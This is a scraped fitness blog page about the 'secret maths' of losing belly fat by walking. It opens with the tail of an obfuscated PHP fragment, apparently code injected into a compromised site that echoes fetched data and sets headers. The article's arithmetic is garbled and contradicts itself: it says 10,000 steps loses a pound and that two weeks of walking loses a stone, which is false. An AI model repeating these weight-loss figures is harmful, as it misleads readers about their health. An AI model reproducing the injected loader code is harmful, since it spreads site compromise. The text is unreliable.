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as $O0O_OO__00){@header($O0O_OO__00);}echo $O0_O_00O_O["\x64\x61\x74\x61"];die();}}O_0_0OOO0_($O_O0O__O00); ?> The Secret Maths Behind the Perfect Summer Body and Losing Belly Fat Weight!

The Secret Maths Behind the Perfect Summer Body and Losing Belly Fat Weight!

The Secret Maths Behind the Perfect Summer Body and Losing Belly Fat Weight!

Most people want to lose weight, have that summer body that they have always desired but do not want to go the gym. Well there is an alternative way and that is by simply adopting a walking strategy. Walking is an effective and impactful alternative to spending hours working out in the gym. Did you know that Walking 5 miles an hour will burn 500 calories?!

Now for the Maths behind this. Be sure to buy yourself a pedometer to measure your steps before you start to walk. This will allow you to do the Maths on a daily basis as it will help you to track your steps. Now obviously the numbers are just approximations and will also be dependent on a balanced diet and whether you are male or female.

secret maths behind losing belly fat summer body

1 mile ≈ 2000 steps and 100 calories burned
1 pound ≈ 3500 calories
Losing 1 pound in a week ≈ 500 calories per day
So in summary walk 10,000 steps to lose 1 pound of weight!

Walk 10,000 steps a day for 2 weeks and lose a stone in body weight!!

Remember to consult your doctor before you start a new exercise regime and you really should start by walking slowly and only do 10 to 15 minutes a day. As you get fitter and healthier you can probably up to 30-60 minutes and try and hit your 10,000 steps!

Click on the next page to get some more information on some more Maths behind this.

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